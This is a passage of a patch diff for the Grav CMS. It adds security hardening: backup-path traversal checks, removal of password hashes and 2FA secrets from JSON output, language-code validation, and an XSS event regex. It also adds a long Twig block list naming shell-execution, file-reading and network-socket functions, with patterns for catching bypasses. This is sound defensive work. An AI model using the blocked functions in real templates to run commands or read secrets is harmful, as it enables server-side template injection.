<?php if (!empty($latestSnapshot['label'])): ?>
|
||||
<br><small><?php echo htmlspecialchars($latestSnapshot['label'], ENT_QUOTES, 'UTF-8'); ?></small>
|
||||
<?php endif; ?>
|
||||
— Grav <?php echo htmlspecialchars($latestSnapshot['target_version'] ?? 'unknown', ENT_QUOTES, 'UTF-8'); ?>
|
||||
<?php if (!empty($latestSnapshot['created_at'])): ?>
|
||||
<br><small>Created <?php echo htmlspecialchars(date('c', (int)$latestSnapshot['created_at']), ENT_QUOTES, 'UTF-8'); ?></small>
|
||||
<?php endif; ?>
|
||||
</p>
|
||||
<button type="submit" class="secondary">Rollback to Latest Snapshot</button>
|
||||
</form>
|
||||
<?php else: ?>
|
||||
<p>No upgrade snapshots were found.</p>
|
||||
<div class="alert alert-warning">
|
||||
<span class="alert-icon">⚠</span>
|
||||
<div class="alert-content">
|
||||
<div class="alert-title">A Fatal Error Occurred</div>
|
||||
Grav detected a fatal error after a recent upgrade and has entered recovery mode to protect your site.
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<h2>Error Details</h2>
|
||||
<div class="error-summary">
|
||||
<div class="error-message"><?php echo htmlspecialchars($context['message'] ?? 'Unknown error', ENT_QUOTES, 'UTF-8'); ?></div>
|
||||
<?php if (!empty($context['file'])): ?>
|
||||
<div class="error-location">
|
||||
<?php echo htmlspecialchars($context['file'], ENT_QUOTES, 'UTF-8'); ?><?php if (!empty($context['line'])): ?>:<?php echo htmlspecialchars((string)$context['line'], ENT_QUOTES, 'UTF-8'); ?><?php endif; ?>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
|
||||
<form method="post">
|
||||
<input type="hidden" name="action" value="clear-flag">
|
||||
<button type="submit" class="secondary">Exit Recovery Mode</button>
|
||||
</form>
|
||||
<?php if (!empty($context['trace'])): ?>
|
||||
<details>
|
||||
<summary>View Stack Trace</summary>
|
||||
<div class="stack-trace"><?php echo htmlspecialchars($context['trace'], ENT_QUOTES, 'UTF-8'); ?></div>
|
||||
</details>
|
||||
<?php endif; ?>
|
||||
|
||||
<?php if (!empty($context['plugin'])): ?>
|
||||
<details open>
|
||||
<summary>Affected Plugin</summary>
|
||||
<ul class="info-list" style="margin-top: 12px;">
|
||||
<li>
|
||||
<span class="label">Plugin</span>
|
||||
<span class="value"><strong><?php echo htmlspecialchars($context['plugin'], ENT_QUOTES, 'UTF-8'); ?></strong> (has been automatically disabled)</span>
|
||||
</li>
|
||||
</ul>
|
||||
</details>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
|
||||
<?php if ($quarantine): ?>
|
||||
<div class="card">
|
||||
<h2>Quarantined Plugins</h2>
|
||||
<p class="help-text" style="margin-top: 0;">These plugins have been automatically disabled due to errors:</p>
|
||||
<ul class="quarantine-list">
|
||||
<?php foreach ($quarantine as $entry): ?>
|
||||
<li>
|
||||
<span class="plugin-name"><?php echo htmlspecialchars($entry['slug'], ENT_QUOTES, 'UTF-8'); ?></span>
|
||||
<span class="plugin-time">Disabled at <?php echo date('Y-m-d H:i:s', $entry['disabled_at']); ?></span>
|
||||
<?php if (!empty($entry['message'])): ?>
|
||||
<div style="margin-top: 4px; font-size: 0.85rem; color: #94a3b8;"><?php echo htmlspecialchars($entry['message'], ENT_QUOTES, 'UTF-8'); ?></div>
|
||||
<?php endif; ?>
|
||||
</li>
|
||||
<?php endforeach; ?>
|
||||
</ul>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
|
||||
<div class="card">
|
||||
<h2>What would you like to do?</h2>
|
||||
<p style="margin-top: 0; color: #94a3b8;">Choose an action to resolve this issue:</p>
|
||||
|
||||
<div class="btn-group">
|
||||
<form method="post" style="display: contents;">
|
||||
<input type="hidden" name="action" value="clear-flag">
|
||||
<button type="submit" class="btn btn-primary">Clear Recovery & Continue</button>
|
||||
</form>
|
||||
<form method="post" style="display: contents;">
|
||||
<input type="hidden" name="action" value="disable-recovery">
|
||||
<button type="submit" class="btn btn-secondary" title="Prevents recovery mode from activating in the future">Disable Recovery Mode</button>
|
||||
</form>
|
||||
</div>
|
||||
<p class="help-text">
|
||||
<strong>Clear Recovery & Continue:</strong> Clears the recovery flag and attempts to load your site normally.<br>
|
||||
<strong>Disable Recovery Mode:</strong> Sets <code>updates.recovery_mode: false</code> in your configuration so recovery mode won't trigger again.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<?php if ($latestSnapshot): ?>
|
||||
<div class="card">
|
||||
<h2>Rollback to Previous Version</h2>
|
||||
<p style="margin-top: 0; color: #94a3b8;">If the error persists, you can rollback to a previous Grav version.</p>
|
||||
|
||||
<div class="snapshot-info">
|
||||
<code><?php echo htmlspecialchars($latestSnapshot['id'], ENT_QUOTES, 'UTF-8'); ?></code>
|
||||
<?php if (!empty($latestSnapshot['label'])): ?>
|
||||
<small><?php echo htmlspecialchars($latestSnapshot['label'], ENT_QUOTES, 'UTF-8'); ?></small>
|
||||
<?php endif; ?>
|
||||
<small>Grav <?php echo htmlspecialchars($latestSnapshot['target_version'] ?? 'unknown', ENT_QUOTES, 'UTF-8'); ?> — Created <?php echo date('Y-m-d H:i:s', (int)$latestSnapshot['created_at']); ?></small>
|
||||
</div>
|
||||
|
||||
<?php if (!$authenticated): ?>
|
||||
<p class="help-text">To rollback, enter the recovery token found in <code>user/data/recovery.flag</code></p>
|
||||
<form method="post">
|
||||
<input type="hidden" name="action" value="authenticate">
|
||||
<label for="token">Recovery Token</label>
|
||||
<input id="token" name="token" type="text" autocomplete="one-time-code" placeholder="Enter token from recovery.flag" required>
|
||||
<div class="btn-group">
|
||||
<button type="submit" class="btn btn-secondary">Authenticate for Rollback</button>
|
||||
</div>
|
||||
</form>
|
||||
<?php else: ?>
|
||||
<form method="post">
|
||||
<input type="hidden" name="action" value="rollback">
|
||||
<input type="hidden" name="manifest" value="<?php echo htmlspecialchars($latestSnapshot['id'], ENT_QUOTES, 'UTF-8'); ?>">
|
||||
<div class="btn-group">
|
||||
<button type="submit" class="btn btn-danger">Rollback to This Snapshot</button>
|
||||
</div>
|
||||
</form>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
@@ -89,8 +89,9 @@ class Backups
|
||||
$at = $profile['schedule_at'];
|
||||
$name = $inflector::hyphenize($profile['name']);
|
||||
$logs = 'logs/backup-' . $name . '.out';
|
||||
$environment = $profile['schedule_environment'] ?? null;
|
||||
/** @var Job $job */
|
||||
$job = $scheduler->addFunction('Grav\Common\Backup\Backups::backup', [$id], $name);
|
||||
$job = $scheduler->addFunction('Grav\Common\Backup\Backups::backup', [$id, null, $environment], $name);
|
||||
$job->at($at);
|
||||
$job->output($logs);
|
||||
$job->backlink('/tools/backups');
|
||||
@@ -192,12 +193,19 @@ class Backups
|
||||
*
|
||||
* @param int $id
|
||||
* @param callable|null $status
|
||||
* @param string|null $environment Optional environment to load config from
|
||||
* @return string|null
|
||||
*/
|
||||
public static function backup($id = 0, ?callable $status = null)
|
||||
public static function backup($id = 0, ?callable $status = null, ?string $environment = null)
|
||||
{
|
||||
$grav = Grav::instance();
|
||||
|
||||
// If environment is specified and different from current, reload config
|
||||
if ($environment && $environment !== $grav['config']->get('setup.environment')) {
|
||||
$grav->setup($environment);
|
||||
$grav['config']->reload();
|
||||
}
|
||||
|
||||
$profiles = static::getBackupProfiles();
|
||||
/** @var UniformResourceLocator $locator */
|
||||
$locator = $grav['locator'];
|
||||
@@ -225,6 +233,30 @@ class Backups
|
||||
throw new RuntimeException("Backup location: {$backup_root} does not exist...");
|
||||
}
|
||||
|
||||
// Security: Resolve real path and ensure it's within GRAV_ROOT to prevent path traversal
|
||||
$realBackupRoot = realpath($backup_root);
|
||||
$realGravRoot = realpath(GRAV_ROOT);
|
||||
|
||||
if ($realBackupRoot === false || $realGravRoot === false) {
|
||||
throw new RuntimeException("Invalid backup location: {$backup_root}");
|
||||
}
|
||||
|
||||
// Check if backup root is within GRAV_ROOT
|
||||
$isWithinGravRoot = strpos($realBackupRoot, $realGravRoot) === 0;
|
||||
|
||||
// Only apply blocklist to paths outside GRAV_ROOT to prevent backing up system directories
|
||||
// This allows backups within Grav installations under /var/www while still blocking /var/log, etc.
|
||||
if (!$isWithinGravRoot) {
|
||||
$blockedPaths = ['/etc', '/root', '/home', '/var', '/usr', '/bin', '/sbin', '/tmp', '/proc', '/sys', '/dev'];
|
||||
foreach ($blockedPaths as $blocked) {
|
||||
if (strpos($realBackupRoot, $blocked) === 0) {
|
||||
throw new RuntimeException("Backup location not allowed: {$backup_root}");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$backup_root = $realBackupRoot;
|
||||
|
||||
$options = [
|
||||
'exclude_files' => static::convertExclude($backup->exclude_files ?? ''),
|
||||
'exclude_paths' => static::convertExclude($backup->exclude_paths ?? ''),
|
||||
|
||||
@@ -28,6 +28,7 @@ trait CompiledFile
|
||||
/**
|
||||
* Get/set parsed file contents.
|
||||
*
|
||||
* @param mixed $var
|
||||
* @return array
|
||||
*/
|
||||
public function content(mixed $var = null)
|
||||
@@ -36,19 +37,44 @@ trait CompiledFile
|
||||
$filename = $this->filename;
|
||||
// If nothing has been loaded, attempt to get pre-compiled version of the file first.
|
||||
if ($var === null && $this->raw === null && $this->content === null) {
|
||||
$key = md5((string) $filename);
|
||||
$key = md5($filename);
|
||||
$file = PhpFile::instance(CACHE_DIR . "compiled/files/{$key}{$this->extension}.php");
|
||||
$cacheFilename = $file->filename();
|
||||
|
||||
// Always check file modification time for cache invalidation.
|
||||
// This respects Grav's cache.check.method setting and user expectations.
|
||||
// filemtime() is cheap and ensures changes are detected.
|
||||
$modified = $this->modified();
|
||||
if (!$modified) {
|
||||
|
||||
// If file hasn't been modified and cache exists, load from compiled cache.
|
||||
// When opcache is enabled, this benefits from bytecode caching.
|
||||
if (!$modified && is_file($cacheFilename)) {
|
||||
try {
|
||||
return $this->decode($this->raw());
|
||||
// Include the file directly to trigger loading from opcache
|
||||
$var = (array) include $cacheFilename;
|
||||
|
||||
if (is_array($var) && isset($var['data'])) {
|
||||
$var = $var['data'];
|
||||
} else {
|
||||
$var = null;
|
||||
}
|
||||
|
||||
if (!is_array($var)) {
|
||||
$var = $this->decode($this->raw());
|
||||
}
|
||||
|
||||
return $var;
|
||||
} catch (Throwable) {
|
||||
// If the compiled file is broken, we can safely ignore the error and continue.
|
||||
}
|
||||
}
|
||||
|
||||
$class = $this::class;
|
||||
$class = get_class($this);
|
||||
|
||||
// Check if the source file exists before getting its size
|
||||
if (!is_file($filename)) {
|
||||
return parent::content($var);
|
||||
}
|
||||
|
||||
$size = filesize($filename);
|
||||
$cache = $file->exists() ? $file->content() : null;
|
||||
@@ -88,11 +114,9 @@ trait CompiledFile
|
||||
|
||||
// Compile cached file into bytecode cache
|
||||
if (function_exists('opcache_invalidate') && filter_var(ini_get('opcache.enable'), \FILTER_VALIDATE_BOOLEAN)) {
|
||||
$lockName = $file->filename();
|
||||
|
||||
// Silence error if function exists, but is restricted.
|
||||
@opcache_invalidate($lockName, true);
|
||||
@opcache_compile_file($lockName);
|
||||
@opcache_invalidate($cacheFilename, true);
|
||||
@opcache_compile_file($cacheFilename);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -134,7 +158,7 @@ trait CompiledFile
|
||||
if ($locked) {
|
||||
$modified = $this->modified();
|
||||
$filename = $this->filename;
|
||||
$class = $this::class;
|
||||
$class = get_class($this);
|
||||
$size = filesize($filename);
|
||||
|
||||
// windows doesn't play nicely with this as it can't read when locked
|
||||
@@ -158,10 +182,10 @@ trait CompiledFile
|
||||
|
||||
// Compile cached file into bytecode cache
|
||||
if (function_exists('opcache_invalidate') && filter_var(ini_get('opcache.enable'), \FILTER_VALIDATE_BOOLEAN)) {
|
||||
$lockName = $file->filename();
|
||||
$cacheFilename = $file->filename();
|
||||
// Silence error if function exists, but is restricted.
|
||||
@opcache_invalidate($lockName, true);
|
||||
@opcache_compile_file($lockName);
|
||||
@opcache_invalidate($cacheFilename, true);
|
||||
@opcache_compile_file($cacheFilename);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -349,6 +349,22 @@ class UserObject extends FlexObject implements UserInterface, Countable
|
||||
return $this->getGroups();
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritdoc}
|
||||
* Override to filter out sensitive fields like password hashes
|
||||
*/
|
||||
public function jsonSerialize(): array
|
||||
{
|
||||
$elements = parent::jsonSerialize();
|
||||
|
||||
// Security: Remove sensitive fields that should never be exposed to frontend
|
||||
unset($elements['hashed_password']);
|
||||
unset($elements['secret']); // 2FA secret
|
||||
unset($elements['twofa_secret']); // Alternative 2FA field name
|
||||
|
||||
return $elements;
|
||||
}
|
||||
|
||||
/**
|
||||
* Convert object into an array.
|
||||
*
|
||||
@@ -583,10 +599,19 @@ class UserObject extends FlexObject implements UserInterface, Countable
|
||||
{
|
||||
// TODO: We may want to handle this in the storage layer in the future.
|
||||
$key = $this->getStorageKey();
|
||||
if (!$key || strpos($key, '@@')) {
|
||||
$isNewUser = !$key || strpos($key, '@@');
|
||||
|
||||
if ($isNewUser) {
|
||||
$storage = $this->getFlexDirectory()->getStorage();
|
||||
if ($storage instanceof FileStorage) {
|
||||
$this->setStorageKey($this->getKey());
|
||||
$newKey = $this->getKey();
|
||||
|
||||
// Check if a user with this username already exists (prevent overwriting)
|
||||
if ($storage->hasKey($newKey)) {
|
||||
throw new RuntimeException('User account with this username already exists');
|
||||
}
|
||||
|
||||
$this->setStorageKey($newKey);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -134,7 +134,17 @@ class Language
|
||||
*/
|
||||
public function setLanguages($langs)
|
||||
{
|
||||
$this->languages = $langs;
|
||||
// Validate and sanitize language codes to prevent regex injection
|
||||
$validLangs = [];
|
||||
foreach ((array)$langs as $lang) {
|
||||
$lang = (string)$lang;
|
||||
// Only allow valid language codes (alphanumeric, hyphens, underscores)
|
||||
// Examples: en, en-US, en_US, zh-Hans, pt-BR
|
||||
if (preg_match('/^[a-zA-Z]{2,3}(?:[-_][a-zA-Z0-9]{2,8})?$/', $lang)) {
|
||||
$validLangs[] = $lang;
|
||||
}
|
||||
}
|
||||
$this->languages = $validLangs;
|
||||
|
||||
$this->init();
|
||||
}
|
||||
@@ -234,7 +244,8 @@ class Language
|
||||
*/
|
||||
public function setActiveFromUri($uri)
|
||||
{
|
||||
$regex = '/(^\/(' . $this->getAvailable() . '))(?:\/|\?|$)/i';
|
||||
// Pass delimiter '/' to getAvailable() to properly escape language codes for regex
|
||||
$regex = '/(^\/(' . $this->getAvailable('/') . '))(?:\/|\?|$)/i';
|
||||
|
||||
// if languages set
|
||||
if ($this->enabled()) {
|
||||
|
||||
@@ -156,6 +156,7 @@ class RecoveryManager
|
||||
'message' => $exception->getMessage(),
|
||||
'file' => $exception->getFile(),
|
||||
'line' => $exception->getLine(),
|
||||
'trace' => $exception->getTraceAsString(),
|
||||
];
|
||||
|
||||
$this->processFailure($error);
|
||||
@@ -222,6 +223,7 @@ class RecoveryManager
|
||||
'line' => $error['line'] ?? null,
|
||||
'type' => $type,
|
||||
'plugin' => $plugin,
|
||||
'trace' => $error['trace'] ?? null,
|
||||
];
|
||||
|
||||
if (!$this->shouldEnterRecovery($context)) {
|
||||
@@ -344,10 +346,16 @@ class RecoveryManager
|
||||
return null;
|
||||
}
|
||||
|
||||
// Standard path: /user/plugins/plugin-name/
|
||||
if (preg_match('#/user/plugins/([^/]+)/#', $file, $matches)) {
|
||||
return $matches[1] ?? null;
|
||||
}
|
||||
|
||||
// Symlinked plugin path: /grav-plugin-plugin-name/ (common dev setup)
|
||||
if (preg_match('#/grav-plugin-([^/]+)/#', $file, $matches)) {
|
||||
return $matches[1] ?? null;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
@@ -400,6 +408,11 @@ class RecoveryManager
|
||||
*/
|
||||
private function shouldEnterRecovery(array $context): bool
|
||||
{
|
||||
// Check if recovery mode is enabled in config
|
||||
if (!$this->isEnabled()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$window = $this->resolveUpgradeWindow();
|
||||
if (null === $window) {
|
||||
return false;
|
||||
@@ -416,6 +429,31 @@ class RecoveryManager
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if recovery mode is enabled in system config (updates.recovery_mode).
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
public function isEnabled(): bool
|
||||
{
|
||||
$configFile = $this->userPath . '/config/system.yaml';
|
||||
if (!is_file($configFile)) {
|
||||
return true; // Default enabled
|
||||
}
|
||||
|
||||
$content = file_get_contents($configFile);
|
||||
if ($content === false) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Simple regex-based check to avoid loading full YAML parser
|
||||
if (preg_match('/^\s*updates:\s*\n(?:\s+\w+:.*\n)*?\s+recovery_mode:\s*(true|false|1|0)\s*$/m', $content, $matches)) {
|
||||
return in_array(strtolower($matches[1]), ['true', '1'], true);
|
||||
}
|
||||
|
||||
return true; // Default enabled
|
||||
}
|
||||
|
||||
/**
|
||||
* @return string
|
||||
*/
|
||||
|
||||
@@ -21,14 +21,19 @@ trait IntervalTrait
|
||||
{
|
||||
/**
|
||||
* Set the Job execution time.
|
||||
*compo
|
||||
*
|
||||
* @param string $expression
|
||||
* @return self
|
||||
*/
|
||||
public function at($expression)
|
||||
{
|
||||
$this->at = $expression;
|
||||
$this->executionTime = CronExpression::factory($expression);
|
||||
try {
|
||||
$this->executionTime = CronExpression::factory($expression);
|
||||
} catch (InvalidArgumentException $e) {
|
||||
// Invalid cron expression - set to null to prevent DoS
|
||||
$this->executionTime = null;
|
||||
}
|
||||
|
||||
return $this;
|
||||
}
|
||||
|
||||
@@ -193,11 +193,32 @@ class Job
|
||||
}
|
||||
|
||||
/**
|
||||
* @return CronExpression
|
||||
* @return CronExpression|null
|
||||
*/
|
||||
public function getCronExpression()
|
||||
{
|
||||
return CronExpression::factory($this->at);
|
||||
try {
|
||||
return CronExpression::factory($this->at);
|
||||
} catch (\InvalidArgumentException $e) {
|
||||
// Invalid cron expression - return null to prevent DoS
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate a cron expression
|
||||
*
|
||||
* @param string $expression
|
||||
* @return bool
|
||||
*/
|
||||
public static function isValidCronExpression(string $expression): bool
|
||||
{
|
||||
try {
|
||||
CronExpression::factory($expression);
|
||||
return true;
|
||||
} catch (\InvalidArgumentException $e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -224,8 +224,9 @@ class Security
|
||||
|
||||
// Set the patterns we'll test against
|
||||
$patterns = [
|
||||
// Match any attribute starting with "on" or xmlns
|
||||
'on_events' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu',
|
||||
// Match any attribute starting with "on" or xmlns (must be preceded by whitespace/special chars)
|
||||
// Allow optional whitespace between 'on' and event name to catch obfuscation attempts
|
||||
'on_events' => '#(<[^>]+[\s\x00-\x20\"\'\/])(on\s*[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu',
|
||||
|
||||
// Match javascript:, livescript:, vbscript:, mocha:, feed: and data: protocols
|
||||
'invalid_protocols' => '#(' . implode('|', array_map('preg_quote', $invalid_protocols, ['#'])) . ')(:|\&\#58)\S.*?#iUu',
|
||||
@@ -243,8 +244,16 @@ class Security
|
||||
// Iterate over rules and return label if fail
|
||||
foreach ($patterns as $name => $regex) {
|
||||
if (!empty($enabled_rules[$name])) {
|
||||
if (preg_match($regex, (string) $string) || preg_match($regex, (string) $stripped) || preg_match($regex, $orig)) {
|
||||
return $name;
|
||||
// Skip testing 'on_events' against stripped version to avoid false positives
|
||||
// with tags like <caption>, <button>, <section> that end with 'on' or contain 'on'
|
||||
if ($name === 'on_events') {
|
||||
if (preg_match($regex, (string) $string) || preg_match($regex, $orig)) {
|
||||
return $name;
|
||||
}
|
||||
} else {
|
||||
if (preg_match($regex, (string) $string) || preg_match($regex, (string) $stripped) || preg_match($regex, $orig)) {
|
||||
return $name;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -264,29 +273,161 @@ class Security
|
||||
];
|
||||
}
|
||||
|
||||
/** @var string|null Cached regex pattern for dangerous functions in Twig blocks */
|
||||
private static ?string $dangerousTwigFunctionsPattern = null;
|
||||
|
||||
/** @var string|null Cached regex pattern for dangerous properties */
|
||||
private static ?string $dangerousTwigPropertiesPattern = null;
|
||||
|
||||
/** @var string|null Cached regex pattern for dangerous function calls */
|
||||
private static ?string $dangerousFunctionCallsPattern = null;
|
||||
|
||||
/** @var string|null Cached regex pattern for string concatenation bypass */
|
||||
private static ?string $dangerousJoinPattern = null;
|
||||
|
||||
/**
|
||||
* Get compiled dangerous Twig patterns (cached for performance)
|
||||
*
|
||||
* @return array{functions: string, properties: string, calls: string, join: string}
|
||||
*/
|
||||
private static function getDangerousTwigPatterns(): array
|
||||
{
|
||||
if (self::$dangerousTwigFunctionsPattern === null) {
|
||||
// Dangerous Twig functions and methods that should be blocked
|
||||
$bad_twig_functions = [
|
||||
// Twig internals
|
||||
'twig_array_map', 'twig_array_filter', 'call_user_func', 'call_user_func_array',
|
||||
'forward_static_call', 'forward_static_call_array',
|
||||
// Twig environment manipulation
|
||||
'registerUndefinedFunctionCallback', 'registerUndefinedFilterCallback',
|
||||
'undefined_functions', 'undefined_filters',
|
||||
// File operations
|
||||
'read_file', 'file_get_contents', 'file_put_contents', 'fopen', 'fread', 'fwrite',
|
||||
'fclose', 'readfile', 'file', 'fpassthru', 'fgetcsv', 'fputcsv', 'ftruncate',
|
||||
'fputs', 'fgets', 'fgetc', 'fflush', 'flock', 'glob', 'rename', 'copy', 'unlink',
|
||||
'rmdir', 'mkdir', 'symlink', 'link', 'chmod', 'chown', 'chgrp', 'touch', 'tempnam',
|
||||
'parse_ini_file', 'highlight_file', 'show_source',
|
||||
// Code execution
|
||||
'exec', 'shell_exec', 'system', 'passthru', 'popen', 'proc_open', 'proc_close',
|
||||
'proc_terminate', 'proc_nice', 'proc_get_status', 'pcntl_exec', 'pcntl_fork',
|
||||
'pcntl_signal', 'pcntl_alarm', 'pcntl_setpriority', 'eval', 'assert',
|
||||
'create_function', 'preg_replace', 'preg_replace_callback', 'ob_start',
|
||||
// Dynamic evaluation
|
||||
'evaluate_twig', 'evaluate',
|
||||
// Serialization
|
||||
'unserialize', 'serialize', 'var_export', 'token_get_all',
|
||||
// Network functions (SSRF)
|
||||
'curl_init', 'curl_exec', 'curl_multi_exec', 'fsockopen', 'pfsockopen',
|
||||
'socket_create', 'stream_socket_client', 'stream_socket_server',
|
||||
// Info disclosure
|
||||
'phpinfo', 'getenv', 'putenv', 'get_current_user', 'getmyuid', 'getmygid',
|
||||
'getmypid', 'get_cfg_var', 'ini_get', 'ini_set', 'ini_alter', 'ini_restore',
|
||||
'get_defined_vars', 'get_defined_functions', 'get_defined_constants',
|
||||
'get_loaded_extensions', 'get_extension_funcs', 'phpversion', 'php_uname',
|
||||
// Reflection
|
||||
'ReflectionClass', 'ReflectionFunction', 'ReflectionMethod',
|
||||
'ReflectionProperty', 'ReflectionObject',
|
||||
// Include/require
|
||||
'include', 'include_once', 'require', 'require_once',
|
||||
// Callback arrays
|
||||
'array_map', 'array_filter', 'array_reduce', 'array_walk', 'array_walk_recursive',
|
||||
'usort', 'uasort', 'uksort', 'iterator_apply',
|
||||
// Output manipulation
|
||||
'header', 'headers_sent', 'header_remove', 'http_response_code',
|
||||
// Mail
|
||||
'mail',
|
||||
// Misc dangerous
|
||||
'extract', 'parse_str', 'register_shutdown_function', 'register_tick_function',
|
||||
'set_error_handler', 'set_exception_handler', 'spl_autoload_register',
|
||||
'apache_child_terminate', 'posix_kill', 'posix_setpgid', 'posix_setsid',
|
||||
'posix_setuid', 'posix_setgid', 'posix_mkfifo', 'dl',
|
||||
// XML (XXE)
|
||||
'simplexml_load_file', 'simplexml_load_string', 'DOMDocument', 'XMLReader',
|
||||
// Database
|
||||
'mysqli_query', 'pg_query', 'sqlite_query',
|
||||
];
|
||||
|
||||
// Dangerous property/method access patterns (regex patterns)
|
||||
$bad_twig_properties = [
|
||||
// Twig environment access
|
||||
'twig\.twig\b', 'grav\.twig\.twig\b', 'twig\.(?:get|add|set)(?:Function|Filter|Extension|Loader|Cache|Runtime)',
|
||||
'twig\.addRuntimeLoader',
|
||||
// Config modification
|
||||
'config\.set\s*\(', 'grav\.config\.set\s*\(', '\.safe_functions', '\.safe_filters',
|
||||
'\.undefined_functions', '\.undefined_filters', 'twig_vars\[', 'config\.join\s*\(',
|
||||
// Scheduler access
|
||||
'grav\.scheduler\b', 'scheduler\.(?:addCommand|save|run|add|remove)\s*\(?',
|
||||
// Core escaper
|
||||
'core\.setEscaper', 'setEscaper\s*\(',
|
||||
// Context access
|
||||
'_context\b', '_self\b', '_charset\b',
|
||||
// User modification
|
||||
'grav\.user\.(?:update|save)\s*\(', 'grav\.accounts\.user\s*\([^)]*\)\.(?:update|save)',
|
||||
'\.(?:set|setNested)Property\s*\(',
|
||||
// Flex objects
|
||||
'(?:get)?[Ff]lexDirectory\s*\(',
|
||||
// Locator write mode
|
||||
'grav\.locator\.findResource\s*\([^)]*,\s*true',
|
||||
// Plugin/theme manipulation
|
||||
'grav\.(?:plugins|themes)\.get\s*\(',
|
||||
// Session manipulation
|
||||
'session\.(?:set|setFlash)\s*\(',
|
||||
// Cache manipulation
|
||||
'cache\.(?:delete|clear|purge)',
|
||||
// Backups and GPM
|
||||
'grav\.(?:backups|gpm)\b',
|
||||
];
|
||||
|
||||
// Build combined patterns (compile once, use many times)
|
||||
// Use word boundaries to avoid false positives (e.g., 'mail' matching 'email')
|
||||
$quotedFunctions = array_map(fn($f) => '\b' . preg_quote($f, '/') . '\b', $bad_twig_functions);
|
||||
$functionsPattern = implode('|', $quotedFunctions);
|
||||
|
||||
// Pattern for functions in Twig blocks
|
||||
self::$dangerousTwigFunctionsPattern = '/(({{\s*|{%\s*)[^}]*?(' . $functionsPattern . ')[^}]*?(\s*}}|\s*%}))/i';
|
||||
|
||||
// Pattern for properties (already regex patterns, just combine)
|
||||
$propertiesPattern = implode('|', $bad_twig_properties);
|
||||
self::$dangerousTwigPropertiesPattern = '/(({{\s*|{%\s*)[^}]*?(' . $propertiesPattern . ')[^}]*?(\s*}}|\s*%}))/i';
|
||||
|
||||
// Pattern for function calls outside Twig blocks (for nested eval)
|
||||
self::$dangerousFunctionCallsPattern = '/\b(' . $functionsPattern . ')\s*\(/i';
|
||||
|
||||
// Pattern for string concatenation bypass attempts
|
||||
$suspiciousFragments = ['safe_func', 'safe_filt', 'undefined_', 'scheduler', 'registerUndefined', '_context', 'setEscaper'];
|
||||
$fragmentsPattern = implode('|', array_map(fn($f) => preg_quote($f, '/'), $suspiciousFragments));
|
||||
self::$dangerousJoinPattern = '/(({{\s*|{%\s*)[^}]*?\[[^\]]*[\'"](' . $fragmentsPattern . ')[\'"][^\]]*\]\s*\|\s*join[^}]*?(\s*}}|\s*%}))/i';
|
||||
}
|
||||
|
||||
return [
|
||||
'functions' => self::$dangerousTwigFunctionsPattern,
|
||||
'properties' => self::$dangerousTwigPropertiesPattern,
|
||||
'calls' => self::$dangerousFunctionCallsPattern,
|
||||
'join' => self::$dangerousJoinPattern,
|
||||
];
|
||||
}
|
||||
|
||||
public static function cleanDangerousTwig(string $string): string
|
||||
{
|
||||
if ($string === '') {
|
||||
// Early exit for empty strings or strings without Twig
|
||||
if ($string === '' || (strpos($string, '{{') === false && strpos($string, '{%') === false)) {
|
||||
return $string;
|
||||
}
|
||||
|
||||
$bad_twig = [
|
||||
'twig_array_map',
|
||||
'twig_array_filter',
|
||||
'call_user_func',
|
||||
'registerUndefinedFunctionCallback',
|
||||
'undefined_functions',
|
||||
'twig.getFunction',
|
||||
'core.setEscaper',
|
||||
'twig.safe_functions',
|
||||
'read_file',
|
||||
];
|
||||
// Get cached compiled patterns
|
||||
$patterns = self::getDangerousTwigPatterns();
|
||||
|
||||
$string = preg_replace('/(({{\s*|{%\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\s*}}|\s*%}))/i', '{# $1 #}', $string);
|
||||
// Pass 1: Block dangerous functions in Twig blocks
|
||||
$string = preg_replace($patterns['functions'], '{# BLOCKED: $1 #}', $string);
|
||||
|
||||
foreach ($bad_twig as $func) {
|
||||
$string = preg_replace('/\b' . preg_quote($func, '/') . '(\s*\([^)]*\))?\b/i', '{# $1 #}', $string);
|
||||
}
|
||||
// Pass 2: Block dangerous property access patterns
|
||||
$string = preg_replace($patterns['properties'], '{# BLOCKED: $1 #}', $string);
|
||||
|
||||
// Pass 3: Block dangerous function calls (for nested eval bypass)
|
||||
$string = preg_replace($patterns['calls'], '{# BLOCKED: $0 #}', $string);
|
||||
|
||||
// Pass 4: Block string concatenation bypass attempts
|
||||
$string = preg_replace($patterns['join'], '{# BLOCKED: $1 #}', $string);
|
||||
|
||||
return $string;
|
||||
}
|
||||
|
||||
@@ -20,6 +20,7 @@ use Grav\Common\Language\Language;
|
||||
use Grav\Framework\Mime\MimeTypes;
|
||||
use Pimple\Container;
|
||||
use Pimple\ServiceProviderInterface;
|
||||
use RocketTheme\Toolbox\File\PhpFile;
|
||||
use RocketTheme\Toolbox\File\YamlFile;
|
||||
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
|
||||
|
||||
@@ -85,15 +86,30 @@ class ConfigServiceProvider implements ServiceProviderInterface
|
||||
/** @var UniformResourceLocator $locator */
|
||||
$locator = $container['locator'];
|
